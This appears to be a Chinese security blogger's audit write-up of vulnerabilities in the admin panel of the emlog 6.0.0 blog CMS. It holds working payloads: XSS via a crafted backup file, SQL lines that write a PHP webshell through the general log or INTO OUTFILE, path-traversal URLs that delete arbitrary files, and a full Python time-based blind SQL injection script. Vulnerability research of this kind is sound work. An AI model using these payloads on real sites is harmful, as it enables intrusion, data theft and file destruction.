文章目录
前言
前段时间找CMS来审计,发现 phpstudy 上有不少,找了个简单的来学习,前台功能少,只有搜索和评论,并且都做了过滤。所以只扫到了后台的漏洞,鸡肋得很,我只能安慰自己,重在学习
一、XSS
1、反射型XSS
在emlog中,执行出错的 sql语句 会显示出来,并且没有进行 html 实体过滤,所以直接在 sql 语句中拼接 xss 的 payload 并让他执行出错。
感动到哭,网站业务流程都没摸透就挖到了第一个洞,感动到哭有没有
见笑了,本来就全是后台的洞,已经够鸡肋了,结果还来个自X,简直鸡肋中的战斗肋,至少也得搞个存储型的吧
2、存储型XSS
这不,说来就来,看到有个备份数据库到服务器的选项,我看着它好像在闪闪发光呢
在备份的时候只执行了这一条语句,而且发现 $table
没有被引号包裹,所以只要用个注释符,后面想写什么就写什么了
然后导入备份成功获得存储型XSS一枚
正开心着呢,琢磨着点返回想再来一遍,结果发现额外奖赏一份下线功能。如下图,导入备份文件时执行的 sql 语句。执行了 DROP 但是 INSERT 失败。
这个存储型XSS就厉害了,当我拿下了别人博客的后台,我就可以备份下一个这样的恶意文件,然后等着一个睿智的管理员来点击导入,然后成功获取他的cookie,即使我已经有了他的账号密码
但是并不证明这个洞就没有意义了,通过这个洞,可以发现利用导入功能其实是可以执行任意 sql语句 的,所以第一个高危漏洞就出来了
二、sql写马
本人声明,文章正文从这里开始
如下,尽量不改变文件的结构,在结束标志之前插入我们的恶意语句,通过 sql 拿到 webshell 有两种方法,但是都需要权限,像我用 phpstudy 搭建的 cms,自动创建的用户是不具备这个权限的。
第一种利用日志文件,只需要拥有超级权限,第二种方式更加麻烦,不仅需要 root 权限,还需要关闭 --secure-file-priv
#version:emlog 6.0.0
#date:2021-04-01 20:43
#tableprefix:emlog_
DROP TABLE IF EXISTS emlog_user#<img src=\"\">;
CREATE TABLE `emlog_user` (
`uid` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL DEFAULT '',
`password` varchar(64) NOT NULL DEFAULT '',
`nickname` varchar(20) NOT NULL DEFAULT '',
`role` varchar(60) NOT NULL DEFAULT '',
`ischeck` enum('n','y') NOT NULL DEFAULT 'n',
`photo` varchar(255) NOT NULL DEFAULT '',
`email` varchar(60) NOT NULL DEFAULT '',
`description` varchar(255) NOT NULL DEFAULT '',
PRIMARY KEY (`uid`),
KEY `username` (`username`)
) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8;
INSERT INTO emlog_user#<img src=\"\"> VALUES('1','admin','$P$BGI0ob7KpaeaB9DAktLn1bRMeniz/a1','','admin','n','','','');
# 第一种方式,利用日志文件写 shell
set global general_log = 'on' # 开启日志
set global general_log_file = 'D:/application/phpstudy_pro/www/1.php' # 设置日志路径,保存为PHP文件
select '<?php phpinfo(); ?>' # 执行后会写入到日志中
# 第二种方式,利用 into outfile
select '<?php phpinfo(); ?>' into outfile 'D:/application/phpstudy_pro/www/1.php'
#the end of backup
危害是大了,但是利用条件挺多,比上面那两个XSS稍微不那么鸡肋一点点
三、三个任意文件删除
1、删除备份导致的任意文件删除
rips 扫到 data.php 处存在任意文件删除漏洞,在 phpstorm 中跟踪漏洞
简直侮辱人好嘛,好歹我也是能审到存储型XSS的人,居然一个过滤都没有。但是有个需要注意的点,POST 的 bak 应该为数组
payload 如下
http://emlog/admin/data.php?action=dell_all_bak
POST:
bak[]=../../../../../../../../../1.php
bak[]=C:\\1.txt (也可以使用绝对路径)
成功删除文件
2、删除插件导致的任意文件删除
还是 rips 扫出的任意文件删除,出现在 plugin.php 的第70行对 faction.base.php 第 832 行 emdeletefile() 函数的调用
在 phpstorm 中跟进,发现正则过滤,用 /
截取了我们传入的 $plugin,当我传入 ../../../aa
时,最后只得到了 ..
,在后面分析了 emDeleteFile 函数后发现,如果传入的参数为 目录,则会递归删除目录下的所有文件,但是已经谈不上任意文件了,危害明显减小
但是在 windows 中可以使用 \
代替 /
来进行目录穿越,让正则过滤形同虚设
emDeleteFile 函数如下,如果 $file 为文件则删除,如果 $file 为目录,则获取目录下的所有文件,并使用递归删除这些文件
payload 如下,可以删除 web 根目录下的 1.txt。需要注意的是 emlog 有防 CSRF 的机制,REQUEST 传入的 token 需要与 COOKIE 中的 token 相同,前面忘记说了
http://cms/admin/plugin.php?action=del&plugin=..\..\1.txt&token=51aa134f298d0988ea6c885fd462ee76
COOKIE:
EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c=51aa134f298d0988ea6c885fd462ee76
3、删除模板导致的任意文件删除
模板处与插件处类似,只是此处不再使用正则,而是使用了 addslashes() 来过滤传入的参数,但是 addslashes() 只会过滤 ' " \ %00
,也是形同虚设
同样是调用 demDeleteFile 进行文件删除,payload 如下
http://cms/admin/template.php?action=del&tpl=../../1.txt&token=51aa134f298d0988ea6c885fd462ee76
COOKIE:
EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c=51aa134f298d0988ea6c885fd462ee76
四、sql注入
大部分与数据库交互的参数都进行了过滤,但是不知道为什么就单单忘记了这一个
传入 ip=1'
并跟踪,发现最后执行的sql语句为 select distinct gid from emlog_comment where ip='1''
,导致查询失败
在之前有提到,emlog 会将错误信息返回,所以可以使用报错注入,payload 如下
时间盲注也同样可以使用
二分法时间盲注:
import requests
url = "http://emlog/admin/comment.php"
rs = requests.session()
# rs.get(url)
rs.cookies.set('EM_TOKENCOOKIE_12a10370e256ea91423f65194648f81c', '1')
rs.cookies.set('EM_AUTHCOOKIE_Pb0op9pktRkw1h7OvGuzSeHm48fqG2mY', 'admin||3779c3a04cb300b7f4cd21d72e05309e')
params = {'action': 'delbyip', 'ip': "", 'token': '1'}
flag = ''
for i in range(1, 50):
low = 33
high = 130
mid = (low + high) >> 1
while low < high:
sql = "1' union select if((select ascii(substr((database()),{},1))>{}),1,sleep(5))#".format(i, mid)
params['ip'] = sql
try:
r = rs.get(url, params=params, timeout=1) # timeout 太小出错率比较大,太大影响速度,根据服务器响应速度配置
except:
high = mid
else:
low = mid + 1
mid = (low + high) >> 1
if chr(mid) == '!':
break
flag += chr(mid)
print(flag)
五、总结
虽然都是些鸡肋漏洞,但是对一个小菜鸡来说还是很开心呀